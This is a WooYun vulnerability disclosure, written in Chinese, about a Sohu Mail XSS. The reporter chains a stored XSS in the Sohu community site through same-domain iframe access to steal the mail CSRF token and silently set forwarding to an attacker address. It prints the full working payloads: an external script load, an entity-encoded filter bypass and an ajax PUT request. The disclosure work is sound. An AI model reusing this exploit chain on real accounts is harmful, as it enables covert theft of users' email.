当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167129

漏洞标题:利用搜狐邮箱XSS劫持用户邮件

相关厂商:搜狐

漏洞作者: q601333824

提交时间:2016-01-04 09:38

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:9

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-04: 细节已通知厂商并且等待厂商处理中
2016-01-04: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向核心白帽子及相关领域专家公开
2016-01-24: 细节向普通白帽子公开
2016-02-03: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

利用搜狐邮箱XSS劫持用户邮件

详细说明:

1.这个漏洞利用的是函数

contentWindow



2.这个函数可以让父窗口获取子窗口的内容,但是前提是同个域,这里举个例子就是,我可以从搜狐社区,获取搜狐邮箱的内容,如图

1.png


3.接下来就不用我说了,只要找一个搜狐社区的XSS,就能直接XSS搜狐邮箱了,找了一个以前提交的XSS,你们没有修复,就拿来用了
WooYun: 搜狐社区Dom xss,可以修改用户帖子标题和内容(xss filter bypass)
4.XSS就不详细说了,看上面的连接的,于是我在搜狐社区签名的地方插入XSS代码

<script src="http://q601333824.sinaapp.com/xss1.js"


                 ↓

<br>&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#32;&#115;&#114;&#99;&#61;&#34;http://q601333824.sinaapp.com/xss1.js&#34;


2.png


------------------------------------------------------------------------------------------
5.知道存在这个问题,但是怎么利用劫持用户邮件呢,利用邮件自动转发功能

3.png


6.自动转发功能存在csrf-token,但是这个csrf-token存在网页里面,既然能在搜狐邮箱XSS了,就可以获取csrf-token了,如图

①.显示在源码

5.png


②.直接在搜狐社区获取到搜狐邮箱的csrf-token了

4.png


------------------------------------------------------------------------------
6.接下来就是模拟post提交了,可以利用$.ajax,自定义request header,提交csrf-token,但是搜狐邮箱好像不支持$.ajax.,提示,找不到这个方法,因为没有安装jquery库.

777777.png


7.,所以,我们可以自己引入一个jquery库不就行了.......如图(这里我就利用w3c菜鸟教程的jquery库)

8.png


8.所以最终代码,有两端,第一段
①第一段,这段代码为了加载jquery库,为了能让搜狐邮箱支持ajax,然后再往子窗口搜狐邮箱注入XSS代码:

var t=document.createElement("iframe");
t.setAttribute("src","http://mail.sohu.com/");
t.height="700";
t.width="700";
t.id="xss123";
document.body.appendChild(t);
function aaa(){
var ccc=document.getElementById("xss123").contentWindow;
var k=ccc.document.createElement("script"); k.setAttribute("src","http://www.w3school.com.cn/jquery/jquery.js");ccc.document.body.appendChild(k);
var b=ccc.document.createElement("script"); b.setAttribute("src","http://q601333824.sinaapp.com/xss2.js");ccc.document.body.appendChild(b);

}
setTimeout("aaa()",3000);//


②.第二段,这段代码为了抓取邮箱的csrf-token ,和put提交,自动转发设置好像是put提交的

var token=document.getElementById("csrf-token").content;//获取csrf-token
var url=location.href;//获取用户url,因为每个人不一样
var url2=url.replace("main","profile");//这里用替换,换成post地址
$.ajax({
url: url2,
data: {"autoreplyenable":"false","startyear":"2015","startmonth":"5","startmonth":"5","forwardenable":"true","forward":"[email protected]","_method":"put"},//forward代码转发的邮箱
type: "PUT",
beforeSend: function(xhr){xhr.setRequestHeader('X-CSRF-Token', token);},
success: function(data) {
alert(data);
}
});


-------------------------------------------------------------------------------------------
9.测试截图(XSS可以在帖子里触发,详细看上面的XSS漏洞连接)
①.这里先加载jquery库,然后再加载xss2的连接,然后再put提交,修改转发邮件设置

10.png


②.

111.png


③.

12.png


----------------------------------------------------------------------------------
10.结果就是,搜狐邮箱的转发设置被修改成[email protected]

13.png



漏洞证明:


1.漏洞证明看上面
2.①.这里先加载jquery库,然后再加载xss2的连接,然后再put提交,修改转发邮件设置

10.png


②.

111.png


③.

12.png


----------------------------------------------------------------------------------
10.结果就是,搜狐邮箱的转发设置被修改成[email protected]

13.png

修复方案:


1.这个漏洞不要以为光修XSS就没事了,肯定是治标不治本,因为你们网站XSS很多本来就多(=_=)
2.我小白,你们比我厉害

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-04 11:21

厂商回复:

感谢对搜狐安全的支持。

最新状态:

暂无